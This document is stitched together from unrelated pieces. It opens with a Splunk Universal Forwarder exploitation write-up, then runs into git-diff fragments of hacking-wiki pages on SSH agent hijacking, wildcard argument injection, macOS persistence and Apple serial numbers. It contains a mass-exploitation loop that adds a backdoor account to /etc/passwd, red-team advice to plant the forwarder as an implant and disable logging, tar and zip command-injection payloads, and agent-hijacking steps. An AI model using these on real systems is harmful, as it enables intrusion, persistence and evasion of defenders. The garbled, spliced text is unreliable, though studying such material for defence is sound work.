An attacker with a Splunk Universal Forward Agent password can fully compromise all Splunk hosts in the network and gain SYSTEM or root level permissions on each host. I have successfully used the Splunk agent on Windows, Linux, and Solaris Unix hosts. This vulnerability could allow system credentials to be dumped, sensitive data to be exfiltrated, or ransomware to be installed. This vulnerability is fast, easy to use, and reliable.
|
||||
|
||||
Since Splunk handles logs, an attacker could reconfigure the Universal Forwarder on the first command run to change the Forwarder location, disabling logging to the Splunk SIEM. This would drastically reduce the chances of being caught by the client Blue Team.
|
||||
|
||||
Splunk Universal Forwarder is often seen installed on Domain Controllers for log collection, which could easily allow an attacker to extract the NTDS file, disable antivirus for further exploitation, and/or modify the domain.
|
||||
|
||||
Finally, the Universal Forwarding Agent does not require a license, and can be configured with a password stand alone. As such an attacker can install Universal Forwarder as a backdoor persistence mechanism on hosts, since it is a legitimate application which customers, even those who do not use Splunk, are not likely to remove.
|
||||
|
||||
### Evidence: <a href="#evidence" id="evidence"></a>
|
||||
|
||||
To show an exploitation example I set up a test environment using the latest Splunk version for both the Enterprise Server and the Universal Forwarding agent. A total of 10 images have been attached to this report, showing the following:
|
||||
|
||||
1- Requesting the /etc/passwd file through PySplunkWhisper2
|
||||
|
||||
![1](https://eapolsniper.github.io/assets/2020AUG14/1\_RequestingPasswd.png)
|
||||
|
||||
2- Receiving the /etc/passwd file on the attacker system through Netcat
|
||||
|
||||
![2](https://eapolsniper.github.io/assets/2020AUG14/2\_ReceivingPasswd.png)
|
||||
|
||||
3- Requesting the /etc/shadow file through PySplunkWhisper2
|
||||
|
||||
![3](https://eapolsniper.github.io/assets/2020AUG14/3\_RequestingShadow.png)
|
||||
|
||||
4- Receiving the /etc/shadow file on the attacker system through Netcat
|
||||
|
||||
![4](https://eapolsniper.github.io/assets/2020AUG14/4\_ReceivingShadow.png)
|
||||
|
||||
5- Adding the user attacker007 to the /etc/passwd file
|
||||
|
||||
![5](https://eapolsniper.github.io/assets/2020AUG14/5\_AddingUserToPasswd.png)
|
||||
|
||||
6- Adding the user attacker007 to the /etc/shadow file
|
||||
|
||||
![6](https://eapolsniper.github.io/assets/2020AUG14/6\_AddingUserToShadow.png)
|
||||
|
||||
7- Receiving the new /etc/shadow file showing attacker007 is successfully added
|
||||
|
||||
![7](https://eapolsniper.github.io/assets/2020AUG14/7\_ReceivingShadowFileAfterAdd.png)
|
||||
|
||||
8- Confirming SSH access to the victim using the attacker007 account
|
||||
|
||||
![8](https://eapolsniper.github.io/assets/2020AUG14/8\_SSHAccessUsingAttacker007.png)
|
||||
|
||||
9- Adding a backdoor root account with username root007, with the uid/gid set to 0
|
||||
|
||||
![9](https://eapolsniper.github.io/assets/2020AUG14/9\_AddingBackdoorRootAccount.png)
|
||||
|
||||
10- Confirming SSH access using attacker007, and then escalating to root using root007
|
||||
|
||||
![10](https://eapolsniper.github.io/assets/2020AUG14/10\_EscalatingToRoot.png)
|
||||
|
||||
At this point I have persistent access to the host both through Splunk and through the two user accounts created, one of which provides root. I can disable remote logging to cover my tracks and continue attacking the system and network using this host.
|
||||
|
||||
Scripting PySplunkWhisperer2 is very easy and effective.
|
||||
|
||||
1. Create a file with IP’s of hosts you want to exploit, example name ip.txt
|
||||
2. Run the following:
|
||||
**Impact:**
|
||||
- Full network compromise with SYSTEM/root level permissions on each host.
|
||||
- Potential for disabling logging to evade detection.
|
||||
- Installation of backdoors or ransomware.
|
||||
|
||||
**Example Command for Exploitation:**
|
||||
```bash
|
||||
for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done
|
||||
```
|
||||
|
||||
Host information:
|
||||
|
||||
Splunk Enterprise Server: 192.168.42.114\
|
||||
Splunk Forwarder Agent Victim: 192.168.42.98\
|
||||
Attacker:192.168.42.51
|
||||
|
||||
Splunk Enterprise version: 8.0.5 (latest as of August 12, 2020 – day of lab setup)\
|
||||
Universal Forwarder version: 8.0.5 (latest as of August 12, 2020 – day of lab setup)
|
||||
|
||||
#### Remediation Recommendation’s for Splunk, Inc: <a href="#remediation-recommendations-for-splunk-inc" id="remediation-recommendations-for-splunk-inc"></a>
|
||||
|
||||
I recommend implementing all of the following solutions to provide defense in depth:
|
||||
|
||||
1. Ideally, the Universal Forwarder agent would not have a port open at all, but rather would poll the Splunk server at regular intervals for instructions.
|
||||
2. Enable TLS mutual authentication between the clients and server, using individual keys for each client. This would provide very high bi-directional security between all Splunk services. TLS mutual authentication is being heavily implemented in agents and IoT devices, this is the future of trusted device client to server communication.
|
||||
3. Send all code, single line or script files, in a compressed file which is encrypted and signed by the Splunk server. This does not protect the agent data sent through the API, but protects against malicious Remote Code Execution from a 3rd party.
|
||||
|
||||
#### Remediation Recommendation’s for Splunk customers: <a href="#remediation-recommendations-for-splunk-customers" id="remediation-recommendations-for-splunk-customers"></a>
|
||||
|
||||
1. Ensure a very strong password is set for Splunk agents. I recommend at least a 15-character random password, but since these passwords are never typed this could be set to a very large password such as 50 characters.
|
||||
2. Configure host based firewalls to only allow connections to port 8089/TCP (Universal Forwarder Agent’s port) from the Splunk server.
|
||||
|
||||
### Recommendations for Red Team: <a href="#recommendations-for-red-team" id="recommendations-for-red-team"></a>
|
||||
|
||||
1. Download a copy of Splunk Universal Forwarder for each operating system, as it is a great light weight signed implant. Good to keep a copy incase Splunk actually fixes this.
|
||||
|
||||
### Exploits/Blogs from other researchers <a href="#exploitsblogs-from-other-researchers" id="exploitsblogs-from-other-researchers"></a>
|
||||
|
||||
Usable public exploits:
|
||||
|
||||
**Usable public exploits:**
|
||||
* https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
|
||||
* https://www.exploit-db.com/exploits/46238
|
||||
* https://www.exploit-db.com/exploits/46487
|
||||
|
||||
Related blog posts:
|
||||
|
||||
* https://clement.notin.org/blog/2019/02/25/Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2/
|
||||
* https://medium.com/@airman604/splunk-universal-forwarder-hijacking-5899c3e0e6b2
|
||||
* https://www.hurricanelabs.com/splunk-tutorials/using-splunk-as-an-offensive-security-tool
|
||||
|
||||
_\*\* Note: \*\*_ This issue is a serious issue with Splunk systems and it has been exploited by other testers for years. While Remote Code Execution is an intended feature of Splunk Universal Forwarder, the implimentaion of this is dangerous. I attempted to submit this bug via Splunk’s bug bounty program in the very unlikely chance they are not aware of the design implications, but was notified that any bug submissions implement the Bug Crowd/Splunk disclosure policy which states no details of the vulnerability may be discussed publically _ever_ without Splunk’s permission. I requested a 90 day disclosure timeline and was denied. As such, I did not responsibly disclose this since I am reasonably sure Splunk is aware of the issue and has chosen to ignore it, I feel this could severely impact companies, and it is the responsibility of the infosec community to educate businesses.
|
||||
|
||||
## Abusing Splunk Queries
|
||||
|
||||
Info from [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)
|
||||
**For further details check the post [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)**
|
||||
|
||||
The **CVE-2023-46214** allowed to upload an arbitrary script to **`$SPLUNK_HOME/bin/scripts`** and then explained that using the search query **`|runshellscript script_name.sh`** it was possible to **execute** the **script** stored in there:
|
||||
The **CVE-2023-46214** allowed to upload an arbitrary script to **`$SPLUNK_HOME/bin/scripts`** and then explained that using the search query **`|runshellscript script_name.sh`** it was possible to **execute** the **script** stored in there.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (721).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -41,141 +41,7 @@ Another option, is that the user owner of the agent and root may be able to acce
|
|||
|
||||
# Long explanation and exploitation
|
||||
|
||||
**Serve this post as wayback machine of the now deleted post from:** [**https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/**](https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/)
|
||||
|
||||
## **When ForwardAgent Can’t Be Trusted**
|
||||
|
||||
SSH without passwords makes life with Unix-like operating systems much easier. If your network requires chained ssh sessions (to access a restricted network, for example), agent forwarding becomes extremely helpful. With agent forwarding it’s possible for me to connect from my laptop to my dev server and from there run an svn checkout from yet another server, all without passwords, while keeping my private key safe on my local workstation.
|
||||
|
||||
This can be dangerous, though. A quick web search will reveal several articles indicating this is only safe if the intermediate hosts are trustworthy. Rarely, however, will you find an explanation of _why_ it’s dangerous.
|
||||
|
||||
That’s what this article is for. But first, some background.
|
||||
|
||||
## **How Passwordless Authentication Works**
|
||||
|
||||
When authenticating in normal mode, SSH uses your password to prove that you are who you say you are. The server compares a hash of this password to one it has on file, verifies that the hashes match, and lets you in.
|
||||
|
||||
If an attacker is able to break the encryption used to protect your password while it’s being sent to the server, they can steal the it and log in as you whenever they desire. If an attacker is allowed to perform hundreds of thousands of attempts, they can eventually guess your password.
|
||||
|
||||
A much safer authentication method is [public key authentication](http://www.ibm.com/developerworks/library/l-keyc/index.html), a way of logging in without a password. Public key authentication requires a matched pair of public and private keys. The public key encrypts messages that can only be decrypted with the private key. The remote computer uses its copy of your public key to encrypt a secret message to you. You prove you are you by decrypting the message using your private key and sending the message back to the remote computer. Your private key remains safely on your local computer the entire time, safe from attack.
|
||||
|
||||
The private key is valuable and must be protected, so by default it is stored in an encrypted format. Unfortunately this means entering your encryption passphrase before using it. Many articles suggest using passphrase-less (unencrypted) private keys to avoid this inconvenience. That’s a bad idea, as anyone with access to your workstation (via physical access, theft, or hackery) now also has free access to any computers configured with your public key.
|
||||
|
||||
OpenSSH includes [ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent), a daemon that runs on your local workstation. It loads a decrypted copy of your private key into memory, so you only have to enter your passphrase once. It then provides a local [socket](http://en.wikipedia.org/wiki/Unix\_domain\_socket) that the ssh client can use to ask it to decrypt the encrypted message sent back by the remote server. Your private key stays safely ensconced in the ssh-agent process’ memory while still allowing you to ssh around without typing in passwords.
|
||||
|
||||
## **How ForwardAgent Works**
|
||||
|
||||
Many tasks require “chaining” ssh sessions. Consider my example from earlier: I ssh from my workstation to the dev server. While there, I need to perform an svn update, using the “svn+ssh” protocol. Since it would be silly to leave an unencrypted copy of my super-secret private key on a shared server, I’m now stuck with password authentication. If, however, I enabled “ForwardAgent” in the ssh config on my workstation, ssh uses its built-in tunneling capabilities to create another socket on the dev server that is tunneled back to the ssh-agent socket on my local workstation. This means that the ssh client on the dev server can now send “decrypt this secret message” requests directly back to the ssh-agent running on my workstation, authenticating itself to the svn server without ever having access to my private key.
|
||||
|
||||
## **Why This Can Be Dangerous**
|
||||
|
||||
Simply put, anyone with root privilege on the the intermediate server can make free use of your ssh-agent to authenticate them to other servers. A simple demonstration shows how trivially this can be done. Hostnames and usernames have been changed to protect the innocent.
|
||||
|
||||
My laptop is running ssh-agent, which communicates with the ssh client programs via a socket. The path to this socket is stored in the SSH\_AUTH\_SOCK environment variable:
|
||||
|
||||
```
|
||||
mylaptop:~ env|grep SSH_AUTH_SOCK
|
||||
SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners
|
||||
|
||||
mylaptop:~ ls -l /tmp/launch-oQKpeY/Listeners
|
||||
srwx------ 1 alice wheel 0 Apr 3 11:04 /tmp/launch-oQKpeY/Listeners
|
||||
```
|
||||
|
||||
The [ssh-add](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add) program lets us view and interact with keys in the agent:
|
||||
|
||||
```
|
||||
mylaptop:~ alice$ ssh-add -l
|
||||
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)
|
||||
```
|
||||
|
||||
I have “ForwardAgent yes” in the \~/.ssh/config on my laptop. So ssh is going to create a tunnel connecting the local socket to a local socket on the remote server:
|
||||
|
||||
```
|
||||
mylaptop:~ alice$ ssh seattle
|
||||
|
||||
seattle:~ $ env|grep SSH_AUTH_SOCK
|
||||
SSH_AUTH_SOCK=/tmp/ssh-WsKcHa9990/agent.9990
|
||||
```
|
||||
|
||||
Even though my keys are not installed on “seattle”, the ssh client programs are still able to access the agent running on my local machine:
|
||||
|
||||
```
|
||||
seattle:~ alice $ ssh-add -l
|
||||
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)
|
||||
```
|
||||
|
||||
So… who can we mess with?
|
||||
|
||||
```
|
||||
seattle:~ alice $ who
|
||||
alice pts/0 2012-04-06 18:24 (office.example.com)
|
||||
bob pts/1 2012-04-03 01:29 (office.example.com)
|
||||
alice pts/3 2012-04-06 18:31 (office.example.com)
|
||||
alice pts/5 2012-04-06 18:31 (office.example.com)
|
||||
alice pts/6 2012-04-06 18:33 (office.example.com)
|
||||
charlie pts/23 2012-04-06 13:10 (office.example.com)
|
||||
charlie pts/27 2012-04-03 12:32 (office.example.com)
|
||||
bob pts/29 2012-04-02 10:58 (office.example.com)
|
||||
```
|
||||
|
||||
I’ve never liked Bob. To find his agent connection, I need to find the child process of one of his ssh sessions:
|
||||
|
||||
```
|
||||
seattle:~ alice $ sudo -s
|
||||
[sudo] password for alice:
|
||||
|
||||
seattle:~ root # pstree -p bob
|
||||
sshd(16816)───bash(16817)
|
||||
|
||||
sshd(25296)───bash(25297)───vim(14308)
|
||||
```
|
||||
|
||||
There are several ways for root to view the environment of a running process. On Linux, the data is available in /proc/\<pid>/environ. Since it’s stored in NULL-terminated strings, I’ll use tr to convert the NULLs to newlines:
|
||||
|
||||
```
|
||||
seattle:~ root # tr '' 'n' < /proc/16817/environ | grep SSH_AUTH_SOCK
|
||||
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816
|
||||
```
|
||||
|
||||
I now have everything I need to know in order to hijack Bob’s ssh-agent:
|
||||
|
||||
```
|
||||
seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh-add -l
|
||||
2048 05:f1:12:f2:e6:ad:cb:0b:60:e3:92:fa:c3:62:19:17 /home/bob/.ssh/id_rsa (RSA)
|
||||
```
|
||||
|
||||
If I happen to have a specific target in mind, I should now be able to connect directly. Otherwise, just watching the process list or grepping through Bob’s history file should present plenty of targets of opportunity. In this case, I know Bob has all sorts of super secret files stored on the server named “boston”:
|
||||
|
||||
```
|
||||
seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
|
||||
bob@boston:~$ whoami
|
||||
bob
|
||||
```
|
||||
|
||||
I have succesfully parlayed my root privileges on “seattle” to access as bob on “boston”. I’ll bet I can use that to get him fired.
|
||||
|
||||
## **Protect Yourself!**
|
||||
|
||||
Don’t let your ssh-agent store your keys indefinitely. On OS X, configure your Keychain to lock after inactivity or when your screen locks. On other Unix-y platforms, pass the -t option to ssh-agent so its keys will be removed after seconds.
|
||||
|
||||
Don’t enable agent forwarding when connecting to untrustworthy hosts. Fortunately, the \~/.ssh/config syntax makes this fairly simple:
|
||||
|
||||
```
|
||||
Host trustworthyhost
|
||||
ForwardAgent yes
|
||||
```
|
||||
|
||||
```
|
||||
Host *
|
||||
ForwardAgent no
|
||||
```
|
||||
|
||||
## **Recommended Reading**
|
||||
|
||||
* [OpenSSH key management](http://www.ibm.com/developerworks/library/l-keyc/index.html) – Daniel Robbins
|
||||
* [An Illustrated Guide to SSH Agent Forwarding](http://www.unixwiz.net/techtips/ssh-agent-forwarding.html) – Steve Friedl
|
||||
* [ssh-agent manual](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent)
|
||||
* [ssh-add manual](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add)
|
||||
**Check the [original research here](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
|
||||
|
||||
|
||||
<details>
|
||||
|
|
|
@ -24,7 +24,7 @@ touch "--reference=/my/own/path/filename"
|
|||
```
|
||||
|
||||
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(combined attack)_\
|
||||
__More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
|
||||
## Tar
|
||||
|
||||
|
@ -36,7 +36,7 @@ touch "--checkpoint-action=exec=sh shell.sh"
|
|||
```
|
||||
|
||||
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_\
|
||||
__More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
|
||||
## Rsync
|
||||
|
||||
|
@ -54,7 +54,7 @@ touch "-e sh shell.sh"
|
|||
```
|
||||
|
||||
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(_rsync _attack)_\
|
||||
__More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
|
||||
## 7z
|
||||
|
||||
|
@ -84,7 +84,7 @@ _More info in Write-ups of the box CTF from HackTheBox._
|
|||
zip name.zip files -T --unzip-command "sh -c whoami"
|
||||
```
|
||||
|
||||
__
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
|
|
@ -38,7 +38,7 @@ void _init() {
|
|||
|
||||
### Git hooks
|
||||
|
||||
[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) are **scripts** that are **run** on various **events** in a git repository ñlike when a commit is created, a merge... So if a **privileged script or user** is performing this actions frequently and it's possible to **write in the `.git` folder**, this can be used to **privesc**.
|
||||
[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) are **scripts** that are **run** on various **events** in a git repository like when a commit is created, a merge... So if a **privileged script or user** is performing this actions frequently and it's possible to **write in the `.git` folder**, this can be used to **privesc**.
|
||||
|
||||
For example, It's possible to **generate a script** in a git repo in **`.git/hooks`** so it's always executed when a new commit is created:
|
||||
|
||||
|
|
|
@ -132,7 +132,7 @@ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://the
|
|||
|
||||
#### Description & Exploitation
|
||||
|
||||
Shell startup files are executed when our shell environment like `zsh` or `bash` is **starting up**. macOS defaults to `/bin/zsh` these days, and **whenever we open `Terminal` or SSH** into the device, this is the shell environment we are placed into. `bash` and `sh` are still available, however they have to be specifically started.
|
||||
When initiating a shell environment such as `zsh` or `bash`, **certain startup files are run**. macOS currently uses `/bin/zsh` as the default shell. This shell is automatically accessed when the Terminal application is launched or when a device is accessed via SSH. While `bash` and `sh` are also present in macOS, they need to be explicitly invoked to be used.
|
||||
|
||||
The man page of zsh, which we can read with **`man zsh`** has a long description of the startup files.
|
||||
|
||||
|
@ -569,7 +569,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
|
|||
|
||||
#### Description
|
||||
|
||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) is an automation tool, that allows **macOS scripting through LUA scripting language**. We can even embed full AppleScript code as well as run shell scripts.
|
||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) serves as an automation platform for **macOS**, leveraging the **LUA scripting language** for its operations. Notably, it supports the integration of complete AppleScript code and the execution of shell scripts, enhancing its scripting capabilities significantly.
|
||||
|
||||
The app looks for a single file, `~/.hammerspoon/init.lua`, and when started the script will be executed.
|
||||
|
||||
|
@ -668,8 +668,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.
|
|||
|
||||
#### **Description**
|
||||
|
||||
“At tasks” are used to **schedule tasks at specific times**.\
|
||||
These tasks differ from cron in that **they are one time tasks** t**hat get removed after executing**. However, they will **survive a system restart** so they can’t be ruled out as a potential threat.
|
||||
`at` tasks are designed for **scheduling one-time tasks** to be executed at certain times. Unlike cron jobs, `at` tasks are automatically removed post-execution. It's crucial to note that these tasks are persistent across system reboots, marking them as potential security concerns under certain conditions.
|
||||
|
||||
By **default** they are **disabled** but the **root** user can **enable** **them** with:
|
||||
|
||||
|
@ -767,24 +766,19 @@ Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-89
|
|||
|
||||
#### Description & Exploitation
|
||||
|
||||
A Folder Action script is executed when the folder to which it is attached has items added or removed, or when its window is opened, closed, moved, or resized:
|
||||
Folder Actions are scripts automatically triggered by changes in a folder such as adding, removing items, or other actions like opening or resizing the folder window. These actions can be utilized for various tasks, and can be triggered in different ways like using the Finder UI or terminal commands.
|
||||
|
||||
* Open the folder via the Finder UI
|
||||
* Add a file to the folder (can be done via drag/drop or even in a shell prompt from a terminal)
|
||||
* Remove a file from the folder (can be done via drag/drop or even in a shell prompt from a terminal)
|
||||
* Navigate out of the folder via the UI
|
||||
To set up Folder Actions, you have options like:
|
||||
|
||||
There are a couple ways to implement this:
|
||||
1. Crafting a Folder Action workflow with [Automator](https://support.apple.com/guide/automator/welcome/mac) and installing it as a service.
|
||||
2. Attaching a script manually via the Folder Actions Setup in the context menu of a folder.
|
||||
3. Utilizing OSAScript to send Apple Event messages to the `System Events.app` for programmatically setting up a Folder Action.
|
||||
* This method is particularly useful for embedding the action into the system, offering a level of persistence.
|
||||
|
||||
1. Use the [Automator](https://support.apple.com/guide/automator/welcome/mac) program to create a Folder Action workflow file (.workflow) and install it as a service.
|
||||
2. Right-click on a folder, select `Folder Actions Setup...`, `Run Service`, and manually attach a script.
|
||||
3. Use OSAScript to send Apple Event messages to the `System Events.app` to programmatically query and register a new `Folder Action.`
|
||||
* [ ] This is the way to implement persistence using an OSAScript to send Apple Event messages to `System Events.app`
|
||||
The following script is an example of what can be executed by a Folder Action:
|
||||
|
||||
This is the script that will be executed:
|
||||
|
||||
{% code title="source.js" %}
|
||||
```applescript
|
||||
// source.js
|
||||
var app = Application.currentApplication();
|
||||
app.includeStandardAdditions = true;
|
||||
app.doShellScript("touch /tmp/folderaction.txt");
|
||||
|
@ -792,13 +786,17 @@ app.doShellScript("touch ~/Desktop/folderaction.txt");
|
|||
app.doShellScript("mkdir /tmp/asd123");
|
||||
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Compile it with: `osacompile -l JavaScript -o folder.scpt source.js`
|
||||
To make the above script usable by Folder Actions, compile it using:
|
||||
|
||||
Then execute the following script to enable Folder Actions and attach the previously compiled script with the folder **`/users/username/Desktop`**:
|
||||
```bash
|
||||
osacompile -l JavaScript -o folder.scpt source.js
|
||||
```
|
||||
|
||||
After the script is compiled, set up Folder Actions by executing the script below. This script will enable Folder Actions globally and specifically attach the previously compiled script to the Desktop folder.
|
||||
|
||||
```javascript
|
||||
// Enabling and attaching Folder Action
|
||||
var se = Application("System Events");
|
||||
se.folderActionsEnabled = true;
|
||||
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
|
||||
|
@ -807,7 +805,11 @@ se.folderActions.push(fa);
|
|||
fa.scripts.push(myScript);
|
||||
```
|
||||
|
||||
Execute script with: `osascript -l JavaScript /Users/username/attach.scpt`
|
||||
Run the setup script with:
|
||||
|
||||
```bash
|
||||
osascript -l JavaScript /Users/username/attach.scpt
|
||||
```
|
||||
|
||||
* This is the way yo implement this persistence via GUI:
|
||||
|
||||
|
@ -1528,12 +1530,16 @@ You could force a warning with `sudo audit -n`.
|
|||
### Startup Items
|
||||
|
||||
{% hint style="danger" %}
|
||||
**This is deprecated, so nothing should be found in the following directories.**
|
||||
**This is deprecated, so nothing should be found in those directories.**
|
||||
{% endhint %}
|
||||
|
||||
A **StartupItem** is a **directory** that gets **placed** in one of these two folders. `/Library/StartupItems/` or `/System/Library/StartupItems/`
|
||||
The **StartupItem** is a directory that should be positioned within either `/Library/StartupItems/` or `/System/Library/StartupItems/`. Once this directory is established, it must encompass two specific files:
|
||||
|
||||
1. An **rc script**: A shell script executed at startup.
|
||||
2. A **plist file**, specifically named `StartupParameters.plist`, which contains various configuration settings.
|
||||
|
||||
Ensure that both the rc script and the `StartupParameters.plist` file are correctly placed inside the **StartupItem** directory for the startup process to recognize and utilize them.
|
||||
|
||||
After placing a new directory in one of these two locations, **two more items** need to be placed inside that directory. These two items are a **rc script** **and a plist** that holds a few settings. This plist must be called “**StartupParameters.plist**”.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="StartupParameters.plist" %}
|
||||
|
@ -1585,14 +1591,15 @@ I cannot find this component in my macOS so for more info check the writeup
|
|||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||
|
||||
Apple introduced a logging mechanism called **emond**. It appears it was never fully developed, and development may have been **abandoned** by Apple for other mechanisms, but it remains **available**.
|
||||
Introduced by Apple, **emond** is a logging mechanism that seems to be underdeveloped or possibly abandoned, yet it remains accessible. While not particularly beneficial for a Mac administrator, this obscure service could serve as a subtle persistence method for threat actors, likely unnoticed by most macOS admins.
|
||||
|
||||
This little-known service may **not be much use to a Mac admin**, but to a threat actor one very good reason would be to use it as a **persistence mechanism that most macOS admins probably wouldn't know** to look for. Detecting malicious use of emond shouldn't be difficult, as the System LaunchDaemon for the service looks for scripts to run in only one place:
|
||||
For those aware of its existence, identifying any malicious usage of **emond** is straightforward. The system's LaunchDaemon for this service seeks scripts to execute in a single directory. To inspect this, the following command can be used:
|
||||
|
||||
```bash
|
||||
ls -l /private/var/db/emondClients
|
||||
```
|
||||
|
||||
|
||||
### ~~XQuartz~~
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
||||
|
|
|
@ -203,9 +203,7 @@ The Keychain highly probably contains sensitive information that if accessed wit
|
|||
|
||||
## External Services
|
||||
|
||||
MacOS Red Teaming is different from a regular Windows Red Teaming as usually **MacOS is integrated with several external platforms directly**. A common configuration of MacOS is to access to the computer using **OneLogin synchronised credentials, and accessing several external services** (like github, aws...) via OneLogin:
|
||||
|
||||
![](<../../.gitbook/assets/image (563).png>)
|
||||
MacOS Red Teaming is different from a regular Windows Red Teaming as usually **MacOS is integrated with several external platforms directly**. A common configuration of MacOS is to access to the computer using **OneLogin synchronised credentials, and accessing several external services** (like github, aws...) via OneLogin.
|
||||
|
||||
## Misc Red Team techniques
|
||||
|
||||
|
|
|
@ -14,75 +14,47 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
Apple devices manufactured after 2010 generally have **12-character alphanumeric** serial numbers, with the **first three digits representing the manufacturing location**, the following **two** indicating the **year** and **week** of manufacture, the next **three** digits providing a **unique** **identifier**, and the **last** **four** digits representing the **model number**.
|
||||
|
||||
Serial number example: **C02L13ECF8J2**
|
||||
## Basic Information
|
||||
|
||||
### **3 - Manufacturing locations**
|
||||
Apple devices post-2010 have serial numbers consisting of **12 alphanumeric characters**, each segment conveying specific information:
|
||||
|
||||
| Code | Factory |
|
||||
| -------------- | -------------------------------------------- |
|
||||
| FC | Fountain Colorado, USA |
|
||||
| F | Fremont, California, USA |
|
||||
| XA, XB, QP, G8 | USA |
|
||||
| RN | Mexico |
|
||||
| CK | Cork, Ireland |
|
||||
| VM | Foxconn, Pardubice, Czech Republic |
|
||||
| SG, E | Singapore |
|
||||
| MB | Malaysia |
|
||||
| PT, CY | Korea |
|
||||
| EE, QT, UV | Taiwan |
|
||||
| FK, F1, F2 | Foxconn – Zhengzhou, China |
|
||||
| W8 | Shanghai China |
|
||||
| DL, DM | Foxconn – China |
|
||||
| DN | Foxconn, Chengdu, China |
|
||||
| YM, 7J | Hon Hai/Foxconn, China |
|
||||
| 1C, 4H, WQ, F7 | China |
|
||||
| C0 | Tech Com – Quanta Computer Subsidiary, China |
|
||||
| C3 | Foxxcon, Shenzhen, China |
|
||||
| C7 | Pentragon, Changhai, China |
|
||||
| RM | Refurbished/remanufactured |
|
||||
- **First 3 Characters**: Indicate the **manufacturing location**.
|
||||
- **Characters 4 & 5**: Denote the **year and week of manufacture**.
|
||||
- **Characters 6 to 8**: Serve as a **unique identifier** for each device.
|
||||
- **Last 4 Characters**: Specify the **model number**.
|
||||
|
||||
### 1 - Year of manufacturing
|
||||
For instance, the serial number **C02L13ECF8J2** follows this structure.
|
||||
|
||||
| Code | Release |
|
||||
| ---- | -------------------- |
|
||||
| C | 2010/2020 (1st half) |
|
||||
| D | 2010/2020 (2nd half) |
|
||||
| F | 2011/2021 (1st half) |
|
||||
| G | 2011/2021 (2nd half) |
|
||||
| H | 2012/... (1st half) |
|
||||
| J | 2012 (2nd half) |
|
||||
| K | 2013 (1st half) |
|
||||
| L | 2013 (2nd half) |
|
||||
| M | 2014 (1st half) |
|
||||
| N | 2014 (2nd half) |
|
||||
| P | 2015 (1st half) |
|
||||
| Q | 2015 (2nd half) |
|
||||
| R | 2016 (1st half) |
|
||||
| S | 2016 (2nd half) |
|
||||
| T | 2017 (1st half) |
|
||||
| V | 2017 (2nd half) |
|
||||
| W | 2018 (1st half) |
|
||||
| X | 2018 (2nd half) |
|
||||
| Y | 2019 (1st half) |
|
||||
| Z | 2019 (2nd half) |
|
||||
### **Manufacturing Locations (First 3 Characters)**
|
||||
Certain codes represent specific factories:
|
||||
- **FC, F, XA/XB/QP/G8**: Various locations in the USA.
|
||||
- **RN**: Mexico.
|
||||
- **CK**: Cork, Ireland.
|
||||
- **VM**: Foxconn, Czech Republic.
|
||||
